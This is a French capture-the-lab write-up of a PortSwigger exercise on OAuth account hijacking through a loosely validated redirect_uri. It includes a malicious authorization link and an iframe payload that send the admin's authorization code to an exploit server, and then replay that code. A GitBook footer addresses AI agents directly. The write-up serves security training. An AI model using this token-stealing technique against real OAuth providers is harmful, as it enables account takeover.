> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/oauth-authentication/oauth-account-hijacking-via-redirect-uri.md).

# Détournement de compte OAuth via redirect\_uri

Notes sur le détournement de compte OAuth via redirect\_uri pour les laboratoires de la PortSwigger Web Security Academy, incluant le workflow d’exploitation, les tests de payloads, la validation dans Burp Suite et le contexte de remédiation.

### Détournement de compte OAuth via redirect/\_uri

**Objectif du labo**

Ce labo montre comment une mauvaise configuration de la `redirect_uri` paramètre dans un flux OAuth permet à un attaquant de voler **des codes d'autorisation** associés au compte d'un autre utilisateur.

**Mais en conclusion :**

* Intercepter un code d'autorisation OAuth appartenant à un utilisateur **admin**
* Utiliser ce code pour accéder à son compte
* Supprimer l’utilisateur **carlos**

**Contexte et conditions**

* Le site permet l'authentification via un fournisseur OAuth (réseau social).
* Utilisateur **admin**:
* Ouvre n'importe quel lien depuis le serveur d'exploit.
* Dispose déjà d'une session active avec le fournisseur OAuth.
* Identifiants fournis :
* Compte social de l'attaquant : `wiener:peter`

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-988d41adeedc64516c796b7955e826573b7d2145%2F%7BFD48D7DC-AD1B-44B8-A2B9-D5821B2E0202%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse du flux OAuth**

Lorsqu'un utilisateur se connecte via OAuth, l'application envoie une requête similaire à :

{% code overflow="wrap" %}

```http
GET /auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://0ae000760359a2b483555a77004b00b8.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2
```

{% endcode %}

Le point crucial est que **le fournisseur OAuth n'exige pas une validation stricte de `redirect_uri`**.

{% code overflow="wrap" %}

```http
GET /auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://test.com/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2
```

{% endcode %}

**Validation de la vulnérabilité**

En changeant le `redirect_uri` paramètre vers un domaine arbitraire, par exemple :

```bash
redirect_uri=https://test.com/oauth-callback
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e1a7427f429b8d40b580f541ab8e4fae90d654e%2F%7B406946D8-98A3-400F-ABE7-E4D9FD190DD4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

le comportement suivant est observé :

* Le fournisseur OAuth redirige bien vers ce champ
* **OAuth** code d'autorisation est inclus dans l'URL de redirection

Cela confirme que `redirect_uri` est exploitable.

**Exploitation**

L'objectif est maintenant de forcer l'administrateur à initier une authentification OAuth dont la redirection pointe vers \*\*le serveur d'exploit\*\* de l'attaquant.

Lien OAuth malveillant utilisé :

{% code overflow="wrap" %}

```bash
https://oauth-0a0c00a60393a257834c58ce0205005b.oauth-server.net/auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://exploit-0a3d004d0323a23f836b59db014d00a8.exploit-server.net/oauth-callback&response_type=code&scope=openid%20profile%20email
```

{% endcode %}

Ce lien est intégré dans une page du serveur d'exploit à l'aide d'un iframe :

{% code overflow="wrap" %}

```javascript
<iframe src="https://oauth-0a0c00a60393a257834c58ce0205005b.oauth-server.net/auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://exploit-0a3d004d0323a23f836b59db014d00a8.exploit-server.net/oauth-callback&response_type=code&scope=openid%20profile%20email"></iframe>
```

{% endcode %}

**Récupération du code d'autorisation**

Lorsque l'administrateur ouvre la page :

* Le flux OAuth s'exécute automatiquement
* Le fournisseur OAuth redirige vers le serveur d'exploit
* les journaux du \*\*serveur d'exploit \*\*contiennent plusieurs codes OAuth

Le **dernier code reçu** est utilisé, par exemple :

```
https://0ae000760359a2b483555a77004b00b8.web-security-academy.net/oauth-callback?code=XHqrGOew1V0hH734nwPpUv3aZg0CeFklDsu21mNyslq
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2fdc8eb6e25c51189cef427ab48967e73c50dac3%2F%7BF6979F3F-434F-4BDE-9F0F-A789F2FF8855%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8fd8a7136d11b185abdbc41f8ce255ae3317515a%2F%7B32965D97-05D8-45EC-A695-74D0B2086893%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Résultat**

* Le code d'autorisation est valide
* L'accès au \*\*compte administrateur\*\* est obtenu

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cd14c94a26e9ed2c4f1d3b7d37aef536cfb925a9%2F%7B89BAE060-611A-4E1F-9B30-23D22946907E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/oauth-authentication/oauth-account-hijacking-via-redirect-uri.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
